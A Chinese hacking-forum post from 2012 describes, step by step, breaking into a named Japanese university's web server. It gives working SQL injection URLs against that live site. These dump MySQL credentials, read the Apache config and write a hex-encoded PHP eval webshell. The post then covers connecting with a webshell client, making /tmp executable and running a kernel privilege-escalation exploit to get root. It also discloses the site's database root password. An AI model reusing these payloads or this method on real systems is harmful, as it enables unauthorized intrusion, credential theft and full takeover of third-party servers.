找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2728|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析* V  r3 l2 O2 {6 U1 u; R  ]+ s; x

! j# e( d. ~8 X6 w: bhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1( \/ O; s8 Y% Z
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
' h0 H1 h/ Y) a6 \. |. c0 ?- L: |. q) V0 ?/ C5 v
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user% [) F7 o* e0 J+ C" ?8 F
6 [7 q. f& [" T& k
) e6 Y& \1 G; z# t% R* C, C8 T; {
! W) i+ O2 l! B1 c' V- G; `, o" |
//@@datadir为数据库文件路径 % i1 Z7 P2 [# H& E5 R; `9 ?
% ]3 A; Q7 F6 m* v7 d

/ I' C2 H1 n7 T. ?# d( @$ h* a//load_file读取网站容器apache的配置文件 % s, t4 R3 l7 p4 S/ O; t; G
" k- |1 E, \& j4 O5 o* ~

7 u& M( X$ }& l2 U2 h//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
* X4 M4 M+ ]& f! l( a复制代码5 J# Y, A" y8 O0 G9 a

1 J- R  @4 `% _1 n虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。# \1 x+ {0 X6 l7 Z

, v7 {  F: @. d2 z# \而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。; }- l1 u0 z0 X; T, \' `5 o
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
+ k' W* w) x  D% q0 M" P9 r. |# H/ W7 s1 W5 _% H8 T1 Y
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
( |( f/ y! e# D, Z; ]  V/ n& D& \% b( [如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html" u8 q0 b/ Q, H. E! {2 _0 u3 _
- ], K4 a5 l+ w9 D+ z
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
& Q: ?5 {$ }8 R, |9 ^. a虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。) i* n1 A1 U. w$ Q  V
直接写一句话:5 V7 y" A# H: K! B! X! j$ A* T

1 H" N; W/ K% E. ?! L" Uhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#( F4 {# L) d! {" D6 M
7 s# o$ x7 f" u5 G0 O+ q1 ~% |
" S: n* r( m  B: r
! q+ B( x0 _8 b( t% I
//最后的#是为了闭合前面的语句
& H5 ^' \7 ~- T/ @4 h/ Z8 a8 d / i6 `5 `# Z+ m5 P, O& I* D9 A
; ~0 W" ~& ?: N+ X& p9 y3 u1 }
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
' \$ h6 K/ T0 ^& {2 F2 H
* C/ x( `7 T1 N! ~& J9 d. Y* N4 K# x; v1 e
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
1 O# D3 V% ^* i/ d , F  j3 k  g& }0 ]; ^

$ Z9 W; ~( T) L; ^//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
0 P! w, i1 j# m, z3 X/ N$ S
" o8 Z; l% V3 q2 j: K" I" H3 t( ?* b9 i
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
% b: I! _/ x! J% l( n//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” * w- B# z1 P3 a* K
复制代码3 g# ~1 u; b9 `+ |. c7 Z% A! Z
- b9 @1 y& ~4 q/ x9 `
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
/ T* Z/ u, y4 r6 l; ]" P/ R通过上述注入语句,我们就得到了一句话木马:9 H1 J3 B+ l# e
( d' s+ @/ N- X

/ G. |3 V! F6 {% ^' P1 I( d2 [$ s8 M8 j) G5 A8 W; o! K9 R" g' \
+ S. ^  l. L+ O9 H: i, U

; m# |0 b: F) d8 D; W; Q! lhttp://www.doshisha.ac.jp/english/engnews_img/aa.php 7 h  B% H2 Q( \( a: ?
复制代码
" F8 F$ B, T% K' i9 s, C
4 q# L8 H. e# A用菜刀连接,密码是cmd,如图所示:
( h% P4 {0 w1 @) R" |4 n5 X# ], _然后在命令提示行里看了一下,现在的权限是:( l% ^3 w, g* F1 {7 L- X& G+ M

; P* @4 [& R# o$ S. w! {1 y/ o0 P之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。5 u  f6 c7 h/ @
好在赋权给这个文件夹不需要root,直接执行赋权语句:
- }5 h2 I( }5 R2 e
7 V. s# R( d& P' ?( N. i# {
; z- u8 B4 U/ b! i; E' H( j4 U+ }3 ^0 w5 I0 O4 R

7 h% P- m, b( n. b% _
6 _" p, S" l8 s" r+ `chmod +x /tmp/ 4 x! s2 d5 n/ }+ d, Z
复制代码# I+ }. r6 u/ Y
5 j" C) Z' ]4 H6 X' L
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
: |/ F2 i* p6 y2 J* }+ i然后就查了一下内核版本:
8 r7 I& G0 I3 `  C  u9 V6 y# e( T# [3 ?

! R- p7 u9 Q* J; U- g  N- a9 R1 \! Q' z; J$ {6 _' d
  i' _' h) m, X: m

% P# E2 `& o4 o* ^, Huname-a
; ~6 s% ~! D' P  C0 Z
9 [/ ~  j* X# {- g6 ?0 i3 \2 |3 R! V% B! ~4 J3 z7 [4 I! P
//其实lsb_release -a ; m' [9 o$ S) y$ H$ `6 `
复制代码
7 N4 Q  k6 t6 {5 ^) @1 K% X1 q; R" ?  Y& d# |
如图所示:! c0 J$ W. ~3 W2 F5 w; y/ n' ?
2 E: Z% E# Z+ c8 B
内核版本:linux mainz1 2.6.28-194.e15
' [2 f( {: W' b系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)# s( W) R9 J) r" W7 s
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
; C' N4 J$ \( T/ L3 v" t# s5 @+ F
( y+ i, O+ x$ {( r, R然后给予执行权限# I& {+ A+ S# n5 j( X. K; n
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
' A- D' e7 J' c2 G7 H  s* C6 I% b3 v
# s' z  o$ g7 \+ F1 L # s" q0 J: P. y# H
4 s5 [' R" }& i5 i
* V' C4 W* [  n' P) S8 r8 ~: a" L

7 [+ a3 r. L) i0 ^+ U2 A; e% L6 fchmod +x /tmp/2.6.18-194 4 y# z9 v( u" l1 Y. {
复制代码 然后直接执行!~$ K4 F; u" c. o+ u" v3 \

& N) C4 i4 j- r总结:$ X* N7 [  S: z
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了7 [7 X! t6 c4 X* O& I1 v; r
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root! c# F* R3 G0 d; P/ D+ D4 ?% ~
; b. T1 X+ e$ m- d! i* h8 q* {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表